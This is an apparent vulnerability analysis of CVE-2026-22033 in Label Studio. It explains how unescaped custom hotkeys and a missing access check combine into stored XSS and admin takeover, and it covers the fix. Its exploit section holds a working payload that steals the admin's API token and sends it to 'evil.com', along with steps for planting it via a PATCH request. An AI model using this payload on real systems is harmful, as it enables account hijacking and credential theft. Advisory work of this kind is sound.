CVE-2026-22033

Label Studio: Tagging Admins for Takeover via IDOR & XSS

Alon Barad
Alon Barad
Software Engineer

Jan 12, 2026·5 min read

Executive Summary (TL;DR)

Label Studio versions <= 1.22.0 contain a critical flaw where user-defined hotkeys are rendered into the main HTML template without proper escaping. Because the API also lacks access controls (IDOR), a low-privileged attacker can push a malicious hotkey configuration to an administrator's profile. When the admin logs in, the injected JavaScript executes, exfiltrating their API token and granting the attacker full control over the instance.

A critical chain of vulnerabilities in Label Studio allows attackers to combine an Insecure Direct Object Reference (IDOR) with a stored Cross-Site Scripting (XSS) payload to hijack administrator accounts. By exploiting a lack of input sanitization in the 'custom_hotkeys' feature and a naive template rendering strategy, attackers can inject malicious JavaScript that executes in the context of other users.

The Hook: Unsafe at Any Speed

Label Studio is the Swiss Army knife of data annotation—images, audio, text, you name it. It is the backbone for many ML pipelines, which makes it a juicy target. If you control the labeling tool, you control the dataset; if you control the dataset, you control the model. But today, we aren't poisoning data; we are poisoning the platform itself.

The vulnerability we are dissecting (CVE-2026-22033) is a masterclass in why "it works on my machine" is not a valid security posture. It combines two classic vulnerabilities—IDOR and XSS—into a reliable kill chain. It is the digital equivalent of realizing your front door is locked (authentication works), but your neighbor has a key to your back door and just decided to renovate your kitchen without asking.

At its core, this is a story about the Django safe filter. Django is a framework that tries desperately to keep developers safe. It auto-escapes HTML by default. It screams at you when you try to do something dangerous. But developers are stubborn. Sometimes, in the pursuit of getting a complex JSON object to the frontend, they bypass those safety rails. And that is exactly what happened here.

The Flaw: Trust Issues and HTML Contexts

To understand this exploit, you have to understand the difference between a JavaScript context and an HTML context. Developers often assume that if they serialize a Python dictionary to JSON, it is safe to drop into a <script> tag. They assume json.dumps() creates a safe string. They are wrong.

The root cause lies in label_studio/templates/base.html. The application takes user-controlled data—specifically the custom_hotkeys preference—and injects it directly into a global JavaScript variable. To make sure the JSON structure remained valid, the developers applied a custom filter json_dumps_ensure_ascii and then, crucially, the Django |safe filter.

The |safe filter tells Django: "I know what I'm doing, don't escape this." But Python's standard JSON encoder does not escape characters like < or /. If an attacker puts the string </script> inside a JSON key, the browser's HTML parser—which runs before the JavaScript engine—sees that tag and immediately closes the script block. The rest of the JSON string is then interpreted as raw HTML. This allows an attacker to break out of the variable assignment and inject their own malicious script tags.

The Code: The Smoking Gun

Let's look at the crime scene. In label_studio/templates/base.html, the code looked like this:

<!-- Vulnerable Code -->
<script id="app-settings" nonce="{{request.csp_nonce}}">
  var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};
  // ... other settings
</script>

The user.custom_hotkeys data comes from the backend database. How does it get there? Via label_studio/users/api.py. The PATCH endpoint allows users to update their profile. The serializer blindly accepts the custom_hotkeys dictionary without sanitizing keys or values for HTML special characters.

The fix (Commit ea2462bf) introduces a new filter specifically designed to handle this context confusion:

 <script id="app-settings" nonce="{{request.csp_nonce}}">
-  var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};
+  var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|escape_lt_gt|safe }};

The new escape_lt_gt filter converts < to \u003c and > to \u003e. This preserves the JSON structure for the JavaScript engine but prevents the HTML parser from seeing a closing script tag.

The Exploit: Breaking the Fourth Wall

Here is where it gets fun (or terrifying, depending on your job title). If this were just a Self-XSS, we would close the report as "User, don't hit yourself." But the advisory mentions an IDOR (Insecure Direct Object Reference) component. This means we aren't limited to poisoning our own session.

Step 1: The Setup. First, we need to find the user ID of our victim (likely an admin). A simple call to /api/users/ might list everyone, or we can guess low integers like ID 1.

Step 2: The Payload. We construct a JSON payload where the key contains our breakout sequence. The browser parses </script> regardless of whether it's inside a JSON string quote or not.

{
  "custom_hotkeys": {
    "INJ;</script><script>fetch('/api/current-user/token').then(r=>r.json()).then(t=>fetch('https://evil.com/'+t.token))</script><script>/*": {
      "key": "x",
      "active": true
    }
  }
}

Step 3: The Delivery. We send a PATCH request to /api/users/{ADMIN_ID}. The server saves this blob into the admin's profile without validation.

Step 4: The Execution. The next time the admin visits any page on Label Studio, the template renders. The browser sees:

<script>
  var __customHotkeys = {"INJ;
</script>
<script>
  fetch('/api/current-user/token')... // The exploit runs here
</script>

The first script block terminates prematurely (causing a syntax error in the JS console that nobody reads), and our second script block executes, silently exfiltrating the admin's token to our server.

The Impact: Game Over

The impact here is absolute. Label Studio uses API tokens for authentication. Once an attacker has an admin's token, they effectively are the admin. They can delete datasets, poison training labels, create new admin users, or achieve Remote Code Execution (RCE) if the platform allows uploading executable scripts or ML models.

Furthermore, because the XSS fires on base.html, it affects every single page in the application. There is no safe harbor. The moment the victim logs in, they are compromised. This is a persistent, stored attack with high reliability because it doesn't rely on complex user interaction—just the victim existing.

Fix Analysis (1)

Technical Appendix

CVSS Score
8.6/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N

Affected Systems

Label Studio <= 1.22.0Label Studio Enterprise (affected versions)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Label Studio
HumanSignal
<= 1.22.0post-1.22.0
AttributeDetail
CWE IDCWE-79 (XSS), CWE-284 (IDOR)
Attack VectorNetwork (AV:N)
CVSS v4.08.6 (High)
Privileges RequiredLow (PR:L)
User InteractionNone (UI:N)
Exploit StatusPoC Available
CWE-79
Cross-site Scripting

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Vulnerability Timeline

Vulnerability reported by DCODX-AI
2025-10-24
Fix commit pushed to GitHub
2025-12-29
Public advisory and CVE published
2026-01-12

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.